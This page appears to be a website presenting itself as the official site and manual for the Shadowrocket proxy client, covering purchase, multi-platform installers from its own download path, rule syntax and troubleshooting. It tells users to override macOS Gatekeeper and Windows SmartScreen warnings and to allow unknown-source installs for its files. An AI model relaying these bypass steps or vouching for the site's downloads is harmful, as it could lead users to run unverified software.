核对产品页与图标
iPhone / iPad 打开下载页所列的 App Store 产品页,确认应用名为 Shadowrocket,并检查产品链接末尾的应用 ID。将商店图标与本站页头的官方图标对照,不以搜索结果的名称相近作为判断依据。
安装前查看产品页说明与兼容性信息。iPhone / iPad 的系统要求以 App Store 页面标注为准;搜索不到时,先确认账号所在商店,再检查地区可用性。
官网官方手册
全平台规则代理客户端,按已有连接信息设置规则分流;iPhone / iPad 在 App Store $2.99 一次性买断,Mac、Windows、安卓、Linux 版免费。
当前版本 v2.2.92 · Mac、Windows、安卓、Linux 版免费
先确认应用身份,再区分客户端获取与连接服务。Shadowrocket 是闭源商业应用,本站是官网与官方手册。
iPhone / iPad 打开下载页所列的 App Store 产品页,确认应用名为 Shadowrocket,并检查产品链接末尾的应用 ID。将商店图标与本站页头的官方图标对照,不以搜索结果的名称相近作为判断依据。
安装前查看产品页说明与兼容性信息。iPhone / iPad 的系统要求以 App Store 页面标注为准;搜索不到时,先确认账号所在商店,再检查地区可用性。
在产品页中找到开发者信息,逐字核对 Shadow Launch Technology Limited。名称、图标与应用 ID 应共同核对,而不是只看其中一项。电脑与安卓的安装包从本站下载页获取,文件地址走本站 /dl/shadowrocket/ 路径。
购买前确认当前用于 App Store 的账号。后续恢复已购项目需要使用原购买账号;设备上登录的其他服务账号,不等于商店购买记录所属账号。
iPhone / iPad 版在 App Store $2.99 一次性买断,同一购买账号可在这两种设备上从已购项目恢复;Mac(Apple 芯片与 Intel)、Windows、安卓、Linux 版免费。商店以当地货币显示实际金额,付款前核对结算页。换机并不意味着必须重新购买,先检查原账号的购买记录与应用可用状态。
中国大陆 App Store 当前没有此应用。若产品页不可用,查看账号的国家或地区设置;调整前先处理账号余额、有效订阅与付款方式等条件,不把设备语言当成商店地区。iPhone / iPad 的应用更新由 App Store 管理;其他平台通过本站下载页获取新版安装包,升级前备份已有配置与连接参数。
客户端负责读取连接参数、处理规则与建立连接,不附带服务器或订阅。本站不提供、不销售、不推荐节点或订阅。开始配置前,用户需要已有自己的订阅或服务器信息;地址、端口、凭据及协议参数从自己的服务商处确认。订阅有效期、流量额度与服务器可用性,和客户端购买记录分别管理。
iPhone / iPad 在 App Store $2.99 一次性获取;Mac、Windows、安卓、Linux 版免费。先核对设备与架构,再阅读对应的首次打开说明。
App Store $2.99 一次性;其他平台免费。
两种设备共用同一账号的购买记录,系统要求以 App Store 页面标注为准。首次打开后,按系统提示允许添加 VPN 配置;授权仅建立系统连接入口,仍需导入用户已有的服务器或订阅,才能进行实际连接。
已购买但显示价格时,先确认商店账号,再检查已购项目,不急于再次付款。商店页面不可用与服务器连接失败是不同问题,应分别检查地区和连接参数。
免费 · Apple 芯片 / Intel
先在“关于本机”查看芯片或处理器,再选对应的 dmg,Apple 芯片版和 Intel 版分别提供。不要根据电脑外观或购买年份判断架构,也不要将 iPhone / iPad 的商店购买方式套用到 Mac 安装包。
若首次打开提示无法验证开发者,核对文件来自本站后,在系统设置的“隐私与安全性”中检查“仍要打开”。遇到其他阻止信息时,先查看完整提示,再按下载页的对应步骤处理,不关闭整套系统保护。
免费 · 64 位安装包
下载页提供 Windows 64 位安装包。安装前保存正在编辑的配置,确认文件由本站 /dl/ 路径下载;如果 SmartScreen 阻止启动,在确认文件来源后选择“更多信息”,再根据页面提示选择“仍要运行”。
首次连接后,分别验证目标网站和规则命中情况。客户端已经启动,不等于流量一定按预期转发;检查当前使用的连接方式、所选服务器及规则,再判断问题来自安装、权限还是服务端。
免费 · arm64 安装包
按下载页说明获取 arm64 安装包。系统询问是否允许安装未知应用时,仅为本次使用的浏览器或文件管理器开启所需权限,完成后可关闭该来源的安装权限。连接时还需要确认系统的 VPN 授权提示。
在微信内打开下载页时,按页面提示改用系统浏览器。若锁屏后连接中断,再检查系统电池管理与后台运行限制;先确认连接在前台正常工作,避免把后台限制和参数错误混在一起排查。
免费 · deb / rpm / AppImage
先根据发行版与处理器架构选择格式:Debian、Ubuntu 系列查看 deb,Fedora 系列查看 rpm,通用运行场景查看 AppImage。包格式与架构是两项独立条件,仅扩展名合适并不能保证设备可以运行。
AppImage 首次运行需要执行权限;deb、rpm 的本地安装命令与依赖处理见下载页。若终端返回错误,保留完整输出,先区分权限、依赖与运行环境,不通过反复更换连接参数解决安装阶段的问题。
以下操作以 iPhone / iPad 界面为例。先理解服务器、配置与连接开关的分工,再增加规则和自动化条件;不同平台的具体界面以实际应用为准。
Rule 用来决定请求采用哪种策略。在 Config 中检查当前配置,将更具体的条件排在前面,再以 FINAL 指定未命中请求的处理方式。DOMAIN-SUFFIX 匹配域名后缀,IP-CIDR 匹配地址范围;PROXY 与 DIRECT 表示不同去向,不是服务器名称。只有 Global Routing 处于 Config 时,才按配置规则分流。修改后用实际目标请求验证命中结果,每次只改一组条件,便于发现顺序覆盖或范围过大的问题。
[Rule]
DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT
FINAL,DIRECT
On Demand 管理什么时候建立连接,而 Rule 管理连接后的请求去向,两者不能互相替代。在 Settings 中查看 On Demand,按实际网络环境设置 Wi-Fi、蜂窝网络或域名条件。建议先手动连接并验证服务器可用,再增加一条触发条件,切换网络后观察结果。若关闭连接后又自动启动,先检查是否存在仍会命中的按需条件;排查结束再恢复自动化设置,避免反复开关却没有改变触发原因。
在 Add Server 的 Type 中选择已有服务器使用的协议,再填写对应参数。Shadowsocks、VMess、VLESS、Trojan、Hysteria2 与 WireGuard 的字段要求不同,不能仅替换 Type 就沿用全部设置。地址、端口、密码或标识、TLS 与传输参数,应逐项与服务商给出的信息核对。导入后仍需检查字段是否完整;协议名称本身不代表线路速度,也不能用一次延迟测试判断所有应用的表现。
Subscribe 用于批量读取用户已有的服务器信息。导入前从自己的服务商处确认订阅地址与格式,导入后检查分组、条目数量和关键参数,再选择服务器连接。更新订阅会重新读取远端内容,手动改过的条目可能随之变化,重要设置应另作记录。订阅地址可能包含访问凭据,不在公开截图、日志或求助文字里展示;更新失败时先看地址是否完整、是否过期,以及当前网络能否访问订阅端点。
Config 保存规则及相关网络设置,服务器条目保存连接信息,二者需要分别确认。在 Home 的 Global Routing 中,Config 按配置分流,Proxy 将由客户端接管的请求交给所选代理,Direct 采用直连。日常使用先确认当前配置,再检查当前服务器;备份时同时保留必要参数。使用 iCloud 同步时,还应在另一台设备核对同步结果与配置选择,不将出现文件等同于已经完成连接授权和验证。
Connectivity Test 适合初步检查可达性,Data 用于观察客户端记录的流量变化,Settings 中的 Diagnostics 帮助进一步定位异常。延迟数字只是特定测试方法下的结果,不等于网页加载或视频表现。遇到问题时,记录网络环境、所选服务器与 Global Routing,再复现一次目标请求。Data 统计也不应直接当成服务商账单;分享日志前删去服务器凭据、订阅地址及个人访问记录,只保留与故障有关的信息。
以 iPhone / iPad 为例,从已有参数开始,完成一次可验证的连接。先得到稳定结果,再添加复杂规则;不要同时修改协议、DNS 与分流方式。
01 / IMPORT
准备好自己的订阅地址,或服务器地址、端口与凭据。在 Home 使用 Add Server 按协议填写;已有二维码时使用 Scan QR Code。导入完成后检查 SERVER 分组中的条目,确认地址与协议符合原始信息。保存成功只表示条目已写入,并不意味着服务器已可用。
如果列表没有出现预期条目,先排查导入格式、地址完整性和订阅访问状态。手动输入时尤其注意端口、密码大小写及多余空格;二维码包含的内容也应来自用户自己已有的服务信息。不要用反复创建重复条目的方式替代字段核对。
02 / ROUTING
需要按规则分流时选择 Config,并确认 Config 中已选中预期配置。Proxy 与 Direct 可帮助对照测试,但测试后应恢复日常所需姿态。示例规则中的 example.com 仅用于解释语法,不代表可使用的服务器,也不能代替真实连接参数。
想让部分网站走 PROXY、其余 DIRECT 时,先列出具体域名,再检查是否被更早的规则覆盖。域名规则不等于应用级开关,同一应用可能访问多个域名;看到某个页面直连,不代表该应用的全部请求都采用相同策略。验证时应检查具体请求,而不是只看应用名称。
03 / VERIFY
选中服务器后打开连接开关,按系统提示允许添加 VPN 配置。随后运行 Connectivity Test,并访问需要验证的目标。系统连接状态正常只是一个检查点,还要确认目标能访问、规则去向符合预期。首次测试建议保持网络环境固定,避免在结果未确认前切换 Wi-Fi 与蜂窝网络。
出现超时先检查已有服务是否有效、参数是否一致;仅部分网站异常时再看规则与 DNS;网络切换后异常则检查 On Demand 和网络环境。每轮只改变一个条件,记录改变前后的结果。求助时描述复现步骤并隐藏凭据,比只提供一张连接状态截图更有助于定位。
保留一份已经验证可用的配置,调整前先备份,再记录修改目的。更新订阅、切换服务器和更改规则属于不同操作:更新订阅用于读取远端条目,切换服务器用于改变当前出口,更改规则用于决定请求去向。按这个顺序区分问题,可以减少重复导入和不必要的设置变动。
如果换机后应用已经恢复,但原有条目没有出现,应继续检查配置备份或同步状态;购买记录不会自动等同于连接参数备份。准备停用设备时,妥善移除其中的订阅与凭据。配置文件、日志和二维码都可能包含敏感信息,分享前应逐项查看,不把完整文件直接发布到公开页面。
常见问题可先查阅 FAQ 分类说明;需要逐项理解 Settings、Data 与配置维护时,继续阅读新手到进阶官方手册。安装与首次打开问题回到下载页处理,规则和连接问题再进入使用章节,避免在不相关的设置中反复尝试。
从具体场景展开:先判断属于安装、参数还是规则问题,再阅读对应步骤。下面三篇分别说明 Linux 包格式、电脑首次打开与延迟测试的适用范围。
按发行版选择包格式,区分 apt、dnf 的本地安装与 AppImage 执行权限。先确认系统架构与安装阶段错误,再处理连接配置。
阅读 Linux 安装说明 →在“关于本机”确认 Apple 芯片或 Intel,按系统提示检查 macOS 首次打开与 Windows SmartScreen。放行前先核对安装包来源。
阅读电脑安装说明 →在已有订阅中选择服务器,理解延迟数字的测量范围。将测试结果与实际网站访问结合判断,不把最低延迟直接等同于最佳使用表现。
阅读延迟测试说明 →